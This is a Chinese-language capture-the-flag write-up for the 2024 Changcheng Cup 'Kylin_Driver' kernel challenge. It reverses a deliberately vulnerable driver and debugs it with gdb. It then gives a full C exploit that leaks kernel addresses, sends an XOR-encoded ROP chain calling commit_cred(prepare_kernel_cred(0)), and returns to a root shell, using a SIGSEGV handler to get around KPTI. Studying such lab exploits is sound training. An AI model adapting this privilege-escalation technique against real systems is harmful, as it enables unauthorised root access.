2024长城杯-Kylin_Driver
题目一共三解,比赛6个小时。比赛时看到内核题就跳过了,赛后复现一波。
考点是内核ROP,KASLR、SMEP、SMAP、KPTI四项保护都开;内核基址和模块基址都给了,ROP链也没限制,所以绕过保护的思路应该挺多的。
信息搜集
给了bzImage、rootfs.cpio文件系统和qemu启动脚本。
启动脚本如下,开启了KASLR、SMEP、SMAP保护,KPTI默认开启。
1 2 3 4 5 6 7 8 9 10 11 12 13
| #!/bin/sh
qemu-system-x86_64 \ -m 256M \ -kernel bzImage \ -initrd rootfs_new.cpio \ -monitor /dev/null \ -append "root=/dev/ram console=ttyS0 loglevel=8 ttyS0,115200 kaslr" \ -cpu kvm64,+smep,+smap \ -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ -nographic \ -no-reboot \ -no-shutdown \
|
解包文件系统,从init
脚本获取内核模块路径/lib/modules/5.10.0-9-generic/kernel/test.ko
,查看保护
test.ko
拖进ida。分析init_module函数,注册了杂项设备结合注册结构体可知设备名称为test,该类设备的应用层接口位于/dev目录,并且为该设备注册了处理函数VrQsLpXwNfJrZtBpKjMvWsQpTyLnHrXs
。
1 2 3 4 5 6 7 8 9 10
| __int64 __fastcall init_module(__int64 a1, __int64 a2, __int64 a3) { _fentry__(a1, a2, a3); if ( !(unsigned int)misc_register(&ZpYxJfLqBrNsKzTpWvVcHrXtRmGnWlQk) ) { printk(&unk_63D); JUMPOUT(0x2C3LL); } return WnQkLxVpJrFtZcRmHsTpYfNcLwZpVxBr_cold(); }
|
分析VrQsLpXwNfJrZtBpKjMvWsQpTyLnHrXs
函数
先校验用户态buffer(ioctl第三个参数)的前32位,即password。要求逐位与0xF9异或之后等于gtwYHamW4U2yQ9LQzfFJSncfHgFf5Pjc
,然后根据操作码(ioctl第二个参数)执行不同功能。
0xDEADBEEF操作码:将驱动模块基址放进内核buffer,再将整个内核buffer与0xF9异或后拼接到用户态buffer的password后面。内核buffer没初始化,残留了内核函数地址,因此这里同时泄露了内核基址和驱动模块基址。
0xFEEDFACE操作码:将32位password后的512字节取到kernel_buffer并逐字节异或0x9F,然后将rsp指向kernel_buffer首地址进行ROP。
tips:伪c是return (ssize_t)kernel_buffer;
,但事实上是ret到kernel_buffer中的地址。
1 2 3
| .text.unlikely:000000000000027B 48 8D 85 E8 FD FF FF lea rax, [rbp-218h] .text.unlikely:0000000000000282 48 89 C4 mov rsp, rax .text.unlikely:0000000000000285 C3 retn
|
调试技巧
- init初始化脚本中在降权命令前插入以下语句,方便查看真实符号地址和模块地址
1 2
| cat /proc/modules >modules.txt cat /proc/kallsyms >kallsyms.txt
|
qemu启动脚本中加入-gdb tcp::1234
,使gdb能够附加调试。
gdb调试内核时不会输出任何调试信息,使用disp指令实现每次运行后停止都输出指令、寄存器和栈信息。
编写脚本一键附加调试、下断点和输出调试信息,防止每次都要重新输一遍,用法gdb -x debug_script
。
脚本中的0xffffffffc0034000
是模块基址,每次重启都不同,需要查看modules.txt
后更新为当前模块基址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| target remote 127.0.0.1:1234 b *(0xffffffffc0034000 + 0x83) b *(0xffffffffc0034000 + 0x1c4) b *(0xffffffffc0034000 + 0x27B) disp/10i $rip disp/x $rax disp/x $rbx disp/x $rcx disp/x $rdx disp/x $rbp disp/x $rsp disp/x $rsi disp/x $rdi disp/x $r8 disp/x $r9 disp/x $r12 disp/x $r13 disp/x $r14 disp/x $r15 disp/x $rip disp/x $gs disp/x $fs disp/x $cr4 disp/20gx $rsp-0x10
|
- exp需要编译好后打包进文件系统才能在仿真机中运行。一键编译exp并打包文件系统的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13
| #!/bin/sh gcc \ ./exp.c \ -o exp \ -masm=intel \ --static \ -g chmod 777 ./exp find . | cpio -o --format=newc > ./rootfs_new.cpio chmod 777 ./rootfs_new.cpio
|
漏洞利用
思路:
- 通过0xDEADBEEF操作码泄露内核基址和模块基址
- 将CR4寄存器修改为0x6f0绕过SMEP和SMAP(后来发现不需要这步)
- commit_cred(prepare_kernel_cred(0))提权至root
- 布置要恢复的用户态寄存器值,swapgs + iretq回到用户态执行。但是由于开启KPTI,回到用户态执行时页表还是内核态,无法寻址用户态代码,触发异常导致segment fault。
- signal(SIGSEGV, getshell)注册异常处理函数绕过KPTI执行用户态函数。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| #include<stdio.h> #include<fcntl.h> #include<unistd.h> #include<string.h> #include<stdlib.h> #include<signal.h> #include<sys/types.h> #include<sys/ioctl.h>
void getshell() { printf("****getshell****"); system("id"); system("/bin/sh"); }
u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp; void save_status() { __asm__ (".intel_syntax noprefix\n"); __asm__ volatile ( "mov user_cs, cs;\ mov user_ss, ss;\ mov user_gs, gs;\ mov user_ds, ds;\ mov user_es, es;\ mov user_rsp, rsp;\ pushf;\ pop user_rflags" ); printf("[+] got user stat\n"); }
int main(){ int fd = open("/dev/test",O_RDWR); unsigned char key[546] = "\x9e\x8d\x8e\xa0\xb1\x98\x94\xae\xcd\xac\xcb\x80\xa8\xc0\xb5\xa8\x83\x9f\xbf\xb3\xaa\x97\x9a\x9f\xb1\x9e\xbf\x9f\xcc\xa9\x93\x9a"; ioctl(fd,0xDEADBEEF,key); int i,j; size_t kernel_buffer[30] = {0}; for(j=0;j<30;j++){ for(i=0;i<8;i++){ key[32+j*8+i] ^= 0xf9; } kernel_buffer[j] = *(long long*)(key+32+j*8); printf("kernel_buffer[%d] = 0x%llx\n",j,kernel_buffer[j]); } size_t kernel_leak = kernel_buffer[21]; size_t raw_vmlinux_base = 0xffffffff81000000; size_t offset = kernel_leak - 0x32A555 - raw_vmlinux_base; printf("kernel_offset = 0x%llx\n",offset); size_t prepare_kernel_cred = raw_vmlinux_base + offset + 0xCFBE0; printf("prepare_kernel_cred = 0x%llx\n",prepare_kernel_cred); size_t commit_cred = raw_vmlinux_base + offset + 0xCF720; printf("commit_cred = 0x%llx\n",commit_cred); size_t run_cmd = raw_vmlinux_base + offset + 0xd02d0; size_t leak = *(long long*)(key+32); printf("module_base = 0x%llx\n",leak); size_t rdi_from_rax = leak + 0x9; size_t mov_cr4_rdi = leak + 0xd; size_t swapgs = leak + 0x11; size_t iretq = leak + 0x15; size_t retn = leak + 0x17; size_t eax_r12_rbp = leak + 0x2c3; size_t printk_rbp = leak + 0x7C; size_t rsp_from_rax = leak + 0x282; unsigned char payload[] = "\x9e\x8d\x8e\xa0\xb1\x98\x94\xae\xcd\xac\xcb\x80\xa8\xc0\xb5\xa8\x83\x9f\xbf\xb3\xaa\x97\x9a\x9f\xb1\x9e\xbf\x9f\xcc\xa9\x93\x9a"; size_t ROP[0x40] = {0}; save_status(); signal(SIGSEGV, getshell); i=0;
ROP[i++] = eax_r12_rbp; ROP[i++] = (size_t)0x0; ROP[i++] = (size_t)0; ROP[i++] = eax_r12_rbp; ROP[i++] = (size_t)0x0; ROP[i++] = (size_t)0; ROP[i++] = rdi_from_rax; ROP[i++] = prepare_kernel_cred; ROP[i++] = rdi_from_rax; ROP[i++] = commit_cred; ROP[i++] = swapgs; ROP[i++] = iretq; ROP[i++] = getshell; ROP[i++] = user_cs; ROP[i++] = user_rflags; ROP[i++] = user_rsp; ROP[i++] = user_ss; int ROP_len = i*8; for(i=0;i<ROP_len;i++){ *((char*)ROP+i) ^= 0xf9; } strcat(payload,(char*)ROP); ioctl(fd,0xFEEDFACE,payload); close(fd);
return 0; }
|